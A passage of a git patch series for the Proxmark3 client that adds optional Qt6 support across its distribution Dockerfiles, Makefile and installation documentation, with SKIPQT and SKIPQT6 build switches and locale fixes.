DOCKER_IMAGE=pm3-ubuntu-24.04:1.0 +#SKIPQT=1 diff --git a/docker/ubuntu-25.04/Dockerfile b/docker/ubuntu-25.04/Dockerfile index e5153fbee..237460a4f 100644 --- a/docker/ubuntu-25.04/Dockerfile +++ b/docker/ubuntu-25.04/Dockerfile @@ -1,8 +1,8 @@ FROM ubuntu:25.04 -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ @@ -12,20 +12,26 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ # Create rrg user => there is already a ubuntu user = 1000 that we need to move away -RUN usermod -u 999 ubuntu -RUN groupmod -g 999 ubuntu +RUN usermod -u 900 ubuntu +RUN groupmod -g 900 ubuntu RUN useradd -ms /bin/bash rrg RUN passwd -d rrg ARG UART_GID # dialout group may already exist on another numeric ID than on host RUN if [ -n "${UART_GID}" ]; then \ - groupadd -g ${UART_GID} mydialout || true; \ - usermod -aG ${UART_GID} rrg; \ - fi + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/ubuntu-25.04/docker_conf.inc b/docker/ubuntu-25.04/docker_conf.inc index 3b0c2e0e3..d50b44f7a 100644 --- a/docker/ubuntu-25.04/docker_conf.inc +++ b/docker/ubuntu-25.04/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-ubuntu-25.04:1.0 +#SKIPQT=1 diff --git a/docker/ubuntu-25.10/Dockerfile b/docker/ubuntu-25.10/Dockerfile index 10b9903eb..886db9dc4 100644 --- a/docker/ubuntu-25.10/Dockerfile +++ b/docker/ubuntu-25.10/Dockerfile @@ -1,8 +1,8 @@ FROM ubuntu:25.10 -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ @@ -12,12 +12,18 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ # Create rrg user => there is already a ubuntu user = 1000 that we need to move away -RUN usermod -u 999 ubuntu -RUN groupmod -g 999 ubuntu +RUN usermod -u 900 ubuntu +RUN groupmod -g 900 ubuntu RUN useradd -ms /bin/bash rrg RUN passwd -d rrg ARG UART_GID diff --git a/docker/ubuntu-25.10/docker_conf.inc b/docker/ubuntu-25.10/docker_conf.inc index 3c512afaa..0327ee04c 100644 --- a/docker/ubuntu-25.10/docker_conf.inc +++ b/docker/ubuntu-25.10/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-ubuntu-25.10:1.0 +#SKIPQT=1 diff --git a/tools/pm3_online_tests.sh b/tools/pm3_online_tests.sh index 998122f62..f939b57da 100755 --- a/tools/pm3_online_tests.sh +++ b/tools/pm3_online_tests.sh @@ -2,7 +2,7 @@ # Online tests that require actual PM3 device connection # This is used to make sure that the language for the functions is english instead of the system default language. -LANG=C +LANG=C.UTF-8 PM3PATH="$(dirname "$0")/.." cd "$PM3PATH" || exit 1 diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index b22e48ed8..2f27a6389 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -5,7 +5,7 @@ # SKIPUV=1 ./pm3_tests.sh # This is used to make sure that the language for the functions is english instead of the system default language. -LANG=C +LANG=C.UTF-8 PM3PATH="$(dirname "$0")/.." cd "$PM3PATH" || exit 1 From 9d97588c84df85a9da4a307b1b6c55c2a1e02bb2 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 00:01:14 +0100 Subject: [PATCH 012/162] docker updates --- client/Makefile | 2 +- docker/archlinux/Dockerfile | 7 ++++++- docker/archlinux/docker_conf.inc | 1 + docker/debian-13-trixie-arm64/Dockerfile | 8 +++++++- docker/debian-13-trixie-arm64/docker_conf.inc | 1 + docker/debian-13-trixie-armhf/Dockerfile | 8 +++++++- docker/debian-13-trixie-armhf/docker_conf.inc | 1 + docker/debian-14-forky/Dockerfile | 2 +- docker/fedora-41/Dockerfile | 7 ++++++- docker/fedora-41/docker_conf.inc | 1 + docker/fedora-42/Dockerfile | 9 +++++++-- docker/fedora-42/docker_conf.inc | 1 + docker/fedora-43/Dockerfile | 7 ++++++- docker/fedora-43/docker_conf.inc | 1 + docker/kali/Dockerfile | 2 +- docker/opensuse-leap/Dockerfile | 17 ++++++++++++++--- docker/opensuse-leap/docker_conf.inc | 1 + docker/opensuse-tumbleweed/Dockerfile | 9 ++++++++- docker/opensuse-tumbleweed/docker_conf.inc | 1 + docker/parrot-core-latest/Dockerfile | 2 +- 20 files changed, 73 insertions(+), 15 deletions(-) diff --git a/client/Makefile b/client/Makefile index c141ba1e5..79d4aac63 100644 --- a/client/Makefile +++ b/client/Makefile @@ -319,7 +319,7 @@ PM3INCLUDES += $(PYTHONLIBINC) ## QT6 (or QT5 fallback) (optional) ifneq ($(SKIPQT),1) # Check for correctly configured Qt6 - QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt6Core Qt6Widgets 2>/dev/null) + QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt6Core Qt6Widgets 2>/dev/null) MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/moc UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/uic diff --git a/docker/archlinux/Dockerfile b/docker/archlinux/Dockerfile index db30f971f..e047b3cc8 100644 --- a/docker/archlinux/Dockerfile +++ b/docker/archlinux/Dockerfile @@ -3,13 +3,18 @@ FROM archlinux:base ENV LANG=C.UTF-8 RUN pacman -Syu --noconfirm RUN pacman-db-upgrade -# qt5-base skipped + # bluez skipped, can't be installed in docker RUN pacman -S --noconfirm sudo git base-devel cmake libusb readline bzip2 lz4 gd arm-none-eabi-gcc arm-none-eabi-newlib --needed # OpenCL for hitag2crack RUN pacman -S --noconfirm ocl-icd +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + pacman -S --noconfirm qt6-base; \ + fi + # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg diff --git a/docker/archlinux/docker_conf.inc b/docker/archlinux/docker_conf.inc index 0f069bf63..25f9cf322 100644 --- a/docker/archlinux/docker_conf.inc +++ b/docker/archlinux/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-arch:1.0 +#SKIPQT=1 diff --git a/docker/debian-13-trixie-arm64/Dockerfile b/docker/debian-13-trixie-arm64/Dockerfile index 021596859..7e88a860b 100644 --- a/docker/debian-13-trixie-arm64/Dockerfile +++ b/docker/debian-13-trixie-arm64/Dockerfile @@ -2,7 +2,7 @@ FROM arm64v8/debian:trixie-slim ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ @@ -12,6 +12,12 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ diff --git a/docker/debian-13-trixie-arm64/docker_conf.inc b/docker/debian-13-trixie-arm64/docker_conf.inc index b785494aa..372ff43c4 100644 --- a/docker/debian-13-trixie-arm64/docker_conf.inc +++ b/docker/debian-13-trixie-arm64/docker_conf.inc @@ -1,2 +1,3 @@ DOCKER_IMAGE=pm3-debian-trixie-arm64:1.0 DOCKER_PLATFORM="--platform linux/arm64" +SKIPQT=1 diff --git a/docker/debian-13-trixie-armhf/Dockerfile b/docker/debian-13-trixie-armhf/Dockerfile index 81c9b1319..e4725ca9f 100644 --- a/docker/debian-13-trixie-armhf/Dockerfile +++ b/docker/debian-13-trixie-armhf/Dockerfile @@ -2,7 +2,7 @@ FROM arm32v7/debian:trixie-slim ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ @@ -12,6 +12,12 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv not available #COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ RUN apt-get install -y pipx && \ diff --git a/docker/debian-13-trixie-armhf/docker_conf.inc b/docker/debian-13-trixie-armhf/docker_conf.inc index f44700643..01ca96d4a 100644 --- a/docker/debian-13-trixie-armhf/docker_conf.inc +++ b/docker/debian-13-trixie-armhf/docker_conf.inc @@ -1,2 +1,3 @@ DOCKER_IMAGE=pm3-debian-trixie-armhf:1.0 DOCKER_PLATFORM="--platform linux/arm/v7" +SKIPQT=1 diff --git a/docker/debian-14-forky/Dockerfile b/docker/debian-14-forky/Dockerfile index 3f9f3b986..074f95876 100644 --- a/docker/debian-14-forky/Dockerfile +++ b/docker/debian-14-forky/Dockerfile @@ -2,7 +2,7 @@ FROM debian:forky-slim ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ diff --git a/docker/fedora-41/Dockerfile b/docker/fedora-41/Dockerfile index 0612b5d3e..73c5d346d 100644 --- a/docker/fedora-41/Dockerfile +++ b/docker/fedora-41/Dockerfile @@ -1,11 +1,16 @@ FROM fedora:41 ENV LANG=C.UTF-8 -# qt5-qtbase-devel skipped + RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + dnf install -y qt6-qtbase-devel; \ + fi + RUN yum -y install mesa-libOpenCL ocl-icd-devel # uv diff --git a/docker/fedora-41/docker_conf.inc b/docker/fedora-41/docker_conf.inc index eb8968f1c..698cab57d 100644 --- a/docker/fedora-41/docker_conf.inc +++ b/docker/fedora-41/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-fedora-41:1.0 +#SKIPQT=1 diff --git a/docker/fedora-42/Dockerfile b/docker/fedora-42/Dockerfile index 581cc24e0..75060263a 100644 --- a/docker/fedora-42/Dockerfile +++ b/docker/fedora-42/Dockerfile @@ -1,12 +1,17 @@ FROM fedora:42 ENV LANG=C.UTF-8 -# qt5-qtbase-devel skipped + RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update -RUN yum -y install mesa-libOpenCL ocl-icd-devel +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + dnf install -y qt6-qtbase-devel; \ + fi + +RUN yum -y install --allowerasing mesa-libOpenCL ocl-icd-devel # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ diff --git a/docker/fedora-42/docker_conf.inc b/docker/fedora-42/docker_conf.inc index 002e2ec26..d314f95d6 100644 --- a/docker/fedora-42/docker_conf.inc +++ b/docker/fedora-42/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-fedora-42:1.0 +#SKIPQT=1 diff --git a/docker/fedora-43/Dockerfile b/docker/fedora-43/Dockerfile index 73223cbfd..cd5710a9d 100644 --- a/docker/fedora-43/Dockerfile +++ b/docker/fedora-43/Dockerfile @@ -1,11 +1,16 @@ FROM fedora:rawhide ENV LANG=C.UTF-8 -# qt5-qtbase-devel skipped + RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + dnf install -y qt6-qtbase-devel; \ + fi + RUN yum -y install mesa-libOpenCL ocl-icd-devel # uv diff --git a/docker/fedora-43/docker_conf.inc b/docker/fedora-43/docker_conf.inc index 9f1c4c08c..da266b2a9 100644 --- a/docker/fedora-43/docker_conf.inc +++ b/docker/fedora-43/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-fedora-43:1.0 +#SKIPQT=1 diff --git a/docker/kali/Dockerfile b/docker/kali/Dockerfile index 4b80bf549..91dad2468 100644 --- a/docker/kali/Dockerfile +++ b/docker/kali/Dockerfile @@ -2,7 +2,7 @@ FROM kalilinux/kali-rolling ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ diff --git a/docker/opensuse-leap/Dockerfile b/docker/opensuse-leap/Dockerfile index bed05c810..68976c117 100644 --- a/docker/opensuse-leap/Dockerfile +++ b/docker/opensuse-leap/Dockerfile @@ -1,14 +1,25 @@ FROM opensuse/leap ENV LANG=C.UTF-8 -# libqt5-qtbase-devel skipped -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel gd-devel + +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc15 gcc15-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel gd-devel + +RUN zypper --non-interactive install ocl-icd-devel + +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + zypper --non-interactive install qt6-core-devel qt6-widgets-devel; \ + fi RUN zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/15.6/home:wkazubski.repo && \ zypper --gpg-auto-import-keys refresh && \ zypper --non-interactive install cross-arm-none-eabi-gcc15 cross-arm-none-eabi-newlib -RUN zypper --non-interactive install ocl-icd-devel +# Set GCC 15 as default, else it's GCC 7 ?! +RUN update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-15 100 && \ + update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-15 100 && \ + update-alternatives --install /usr/bin/cc cc /usr/bin/gcc-15 100 && \ + update-alternatives --install /usr/bin/c++ c++ /usr/bin/g++-15 100 # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ diff --git a/docker/opensuse-leap/docker_conf.inc b/docker/opensuse-leap/docker_conf.inc index ac8d995f5..18cd9c18f 100644 --- a/docker/opensuse-leap/docker_conf.inc +++ b/docker/opensuse-leap/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-suse-leap:1.0 +#SKIPQT=1 diff --git a/docker/opensuse-tumbleweed/Dockerfile b/docker/opensuse-tumbleweed/Dockerfile index 9bdfdc051..93731d25a 100644 --- a/docker/opensuse-tumbleweed/Dockerfile +++ b/docker/opensuse-tumbleweed/Dockerfile @@ -1,9 +1,16 @@ FROM opensuse/tumbleweed ENV LANG=C.UTF-8 -# libqt5-qtbase-devel skipped + RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc15 cross-arm-none-newlib-devel gd-devel +RUN zypper --non-interactive install ocl-icd-devel + +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + zypper --non-interactive install qt6-core-devel qt6-widgets-devel; \ + fi + #RUN zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/openSUSE_Tumbleweed/home:wkazubski.repo && \ # zypper --gpg-auto-import-keys refresh && \ # zypper --non-interactive install cross-arm-none-eabi-gcc15 cross-arm-none-eabi-newlib diff --git a/docker/opensuse-tumbleweed/docker_conf.inc b/docker/opensuse-tumbleweed/docker_conf.inc index e6cc65b22..fa8df80af 100644 --- a/docker/opensuse-tumbleweed/docker_conf.inc +++ b/docker/opensuse-tumbleweed/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-suse-tumbleweed:1.0 +#SKIPQT=1 diff --git a/docker/parrot-core-latest/Dockerfile b/docker/parrot-core-latest/Dockerfile index 25397f60a..3671b94da 100644 --- a/docker/parrot-core-latest/Dockerfile +++ b/docker/parrot-core-latest/Dockerfile @@ -2,7 +2,7 @@ FROM parrotsec/core:latest ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ From b2d34ddc15aed793fcf1ba0acfd774442f3f4151 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 00:20:54 +0100 Subject: [PATCH 013/162] Fix for Ubuntu 24.04 Qt6 --- client/Makefile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/client/Makefile b/client/Makefile index 79d4aac63..d2accf1e9 100644 --- a/client/Makefile +++ b/client/Makefile @@ -874,6 +874,8 @@ src/proxguiqt.h: src/ui/ui_overlays.h src/ui/ui_image.h src/ui/ui_overlays.h: src/ui/overlays.ui $(info [-] UIC $@) $(Q)$(UIC) $^ > $@ + # fix the header generated by some Qt6 versions (seen on 6.4.2 & 6.6.3) + $(Q)sed -i 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ src/ui/ui_image.h: src/ui/image.ui $(info [-] UIC $@) From d5d8a7192ad1430cf12f985dc1762e9debcd17f8 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 00:36:56 +0100 Subject: [PATCH 014/162] Qt6: makefile fixes --- client/Makefile | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/client/Makefile b/client/Makefile index d2accf1e9..e512bde00 100644 --- a/client/Makefile +++ b/client/Makefile @@ -320,7 +320,7 @@ PM3INCLUDES += $(PYTHONLIBINC) ifneq ($(SKIPQT),1) # Check for correctly configured Qt6 QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) - QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt6Core Qt6Widgets 2>/dev/null) + QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/moc UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/uic QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=bindir Qt6Core)/qmake @@ -358,7 +358,10 @@ ifneq ($(SKIPQT),1) endif endif LDLIBS += $(QTLDLIBS) -CXXINCLUDES += $(QTINCLUDES) + +# Treat Qt headers as system headers, to avoid a bug with Qt 6.6.3 +QTINCLUDES_FIX = $(patsubst -I%,-isystem %,$(QTINCLUDES)) +CXXINCLUDES += $(QTINCLUDES_FIX) ## GD (optional) ifneq ($(SKIPGD),1) @@ -875,7 +878,11 @@ src/ui/ui_overlays.h: src/ui/overlays.ui $(info [-] UIC $@) $(Q)$(UIC) $^ > $@ # fix the header generated by some Qt6 versions (seen on 6.4.2 & 6.6.3) - $(Q)sed -i 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ + ifeq ($(platform),Darwin) + $(Q)sed -E -i '' 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ + else + $(Q)sed -i 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ + endif src/ui/ui_image.h: src/ui/image.ui $(info [-] UIC $@) From b2df498e3e3298d4dada61fc5568cde842399449 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 00:41:22 +0100 Subject: [PATCH 015/162] fix the fix of the fix --- client/Makefile | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/Makefile b/client/Makefile index e512bde00..fee39c782 100644 --- a/client/Makefile +++ b/client/Makefile @@ -878,11 +878,11 @@ src/ui/ui_overlays.h: src/ui/overlays.ui $(info [-] UIC $@) $(Q)$(UIC) $^ > $@ # fix the header generated by some Qt6 versions (seen on 6.4.2 & 6.6.3) - ifeq ($(platform),Darwin) - $(Q)sed -E -i '' 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ - else - $(Q)sed -i 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ - endif +ifeq ($(platform),Darwin) + $(Q)sed -E -i '' 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ +else + $(Q)sed -i 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ +endif src/ui/ui_image.h: src/ui/image.ui $(info [-] UIC $@) From 93791a0d9beb636ddfa8c643e78897b8bd17d978 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 13:15:12 +0100 Subject: [PATCH 016/162] Add SKIPQT6 if one wants to force Qt5 --- client/Makefile | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/client/Makefile b/client/Makefile index fee39c782..7fa8850e9 100644 --- a/client/Makefile +++ b/client/Makefile @@ -318,15 +318,18 @@ PM3INCLUDES += $(PYTHONLIBINC) ## QT6 (or QT5 fallback) (optional) ifneq ($(SKIPQT),1) - # Check for correctly configured Qt6 - QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) - QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) - MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/moc + ifneq ($(SKIPQT6),1) + # Check for correctly configured Qt6 + QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) + QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) + MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/moc UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/uic - QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=bindir Qt6Core)/qmake - ifneq ($(QTLDLIBS),) - QT6_FOUND = 1 - else + QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=bindir Qt6Core)/qmake + ifneq ($(QTLDLIBS),) + QT6_FOUND = 1 + endif + endif + ifneq ($(QT6_FOUND),1) # if Qt6 not found check for correctly configured Qt5 QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt5Core Qt5Widgets 2>/dev/null) QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt5Core Qt5Widgets 2>/dev/null) @@ -338,12 +341,15 @@ ifneq ($(SKIPQT),1) # if both pkg-config commands failed, search in common places # TODO: to be checked on OSX... ifneq ($(QTDIR),) - ifneq ($(wildcard $(QTDIR)/lib/libQt6Core),) - # QT6 - QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui -I$(QTDIR)/include/QtWidgets - QTLDLIBS = -L$(QTDIR)/lib -lQt6Core -lQt6Gui -lQt6Widgets - QT6_FOUND = 1 - else + ifneq ($(SKIPQT6),1) + ifneq ($(wildcard $(QTDIR)/lib/libQt6Core),) + # QT6 + QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui -I$(QTDIR)/include/QtWidgets + QTLDLIBS = -L$(QTDIR)/lib -lQt6Core -lQt6Gui -lQt6Widgets + QT6_FOUND = 1 + endif + endif + ifneq ($(QT6_FOUND),1) # QT5 QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui -I$(QTDIR)/include/QtWidgets QTLDLIBS = -L$(QTDIR)/lib -lQt5Core -lQt5Gui -lQt5Widgets From 8d3eca3d5887dfd53863e8084f0b0cb58003963d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 14:02:13 +0100 Subject: [PATCH 017/162] Qt6: update doc --- doc/md/Development/Maintainers.md | 3 ++ doc/md/Development/Makefile-vs-CMake.md | 3 +- .../Linux-Installation-Instructions.md | 29 ++++++++++++++----- .../Troubleshooting.md | 6 ++-- .../4_Advanced-compilation-parameters.md | 7 +++++ 5 files changed, 36 insertions(+), 12 deletions(-) diff --git a/doc/md/Development/Maintainers.md b/doc/md/Development/Maintainers.md index 2a72e500f..42230a6a9 100644 --- a/doc/md/Development/Maintainers.md +++ b/doc/md/Development/Maintainers.md @@ -60,6 +60,7 @@ If your platform needs specific lib/include paths for the client, you can use `L It's also possible to skip parts even if libraries are present in the compilation environment: * `make client SKIPQT=1` to skip GUI even if Qt is present +* `make client SKIPQT6=1` to skip Qt6 even if Qt6 is present, anf fallback on Qt5 * `make client SKIPBT=1` to skip native Bluetooth support even if libbluetooth is present * `make client SKIPPYTHON=1` to skip embedded Python 3 interpreter even if libpython3 is present * `make client SKIPLUASYSTEM=1` to skip system Lua lib even if liblua5.2 is present, use embedded Lua lib instead @@ -86,6 +87,8 @@ One tool requires a CUDA compilation environment, it can be skipped as well: Some unittests are available via `make check`, which is actually triggering individual targets as for `make install`. +* `SKIPUV=1 tools/pm3_tests.sh` to skip usage of `uv` even if `uv` is present, and force usage of `python3` (in which case you must take care of installing the script dependencies yourself) + `make install` is actually triggering the following individual targets which can be accessed individually: * `make client/install` diff --git a/doc/md/Development/Makefile-vs-CMake.md b/doc/md/Development/Makefile-vs-CMake.md index e052321a4..2d2e7d4e8 100644 --- a/doc/md/Development/Makefile-vs-CMake.md +++ b/doc/md/Development/Makefile-vs-CMake.md @@ -70,9 +70,10 @@ At the moment both are maintained because they don't perfectly overlap yet. | dep pthread | sys | sys | | | pthread detection | **none** | **none** (1) | (1) cf https://stackoverflow.com/questions/1620918/cmake-and-libpthread ? | | `SKIPPTHREAD` | yes | yes | e.g. for termux | -| dep Qt | opt, sys, Qt5 & Qt4 | opt, sys, Qt5 | | +| dep Qt | opt, sys, Qt6 & Qt5 | opt, sys, Qt5 | | | Qt detection | pc(qt6)/pc(qt5)/`QTDIR`(1) (2) | find_package(qt5) (3) | (1) if `QTDIR`: hardcode path (2) OSX: pkg-config hook for Brew (3) OSX: add search path| | `SKIPQT` | yes | yes | | +| `SKIPQT6` | yes | no | | | dep readline | sys | sys | | | readline detection | **none** (1) | find*(2), Cross:getzip | (1) OSX: hardcoded path (2) additional paths for OSX | | `SKIPREADLINE` | yes | yes | CLI not fully functional without Readline | diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index 01dcea7dd..702db31ba 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -59,7 +59,7 @@ Install the requirements ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ -libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev \ +libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev \ libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev ``` @@ -68,7 +68,7 @@ libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev you can skip the installation of `libbluetooth-dev`. 👉 If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), -you can skip the installation of `qtbase5-dev`. +you can skip the installation of `qt6-base-dev`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `libpython3-dev`. @@ -86,7 +86,7 @@ you may have to install `libcanberra-gtk-module`. ```sh sudo pacman -Syu git base-devel readline bzip2 lz4 arm-none-eabi-gcc \ -arm-none-eabi-newlib qt5-base bluez python gd --needed +arm-none-eabi-newlib qt6-base bluez python gd --needed ``` ### If you don't need... @@ -94,7 +94,7 @@ arm-none-eabi-newlib qt5-base bluez python gd --needed you can skip the installation of `bluez`. 👉 If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), -you can skip the installation of `qt5-base`. +you can skip the installation of `qt6-base`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python`. @@ -108,7 +108,7 @@ you can skip the installation of `gd`. ```sh sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib \ -readline-devel bzip2-devel lz4-devel 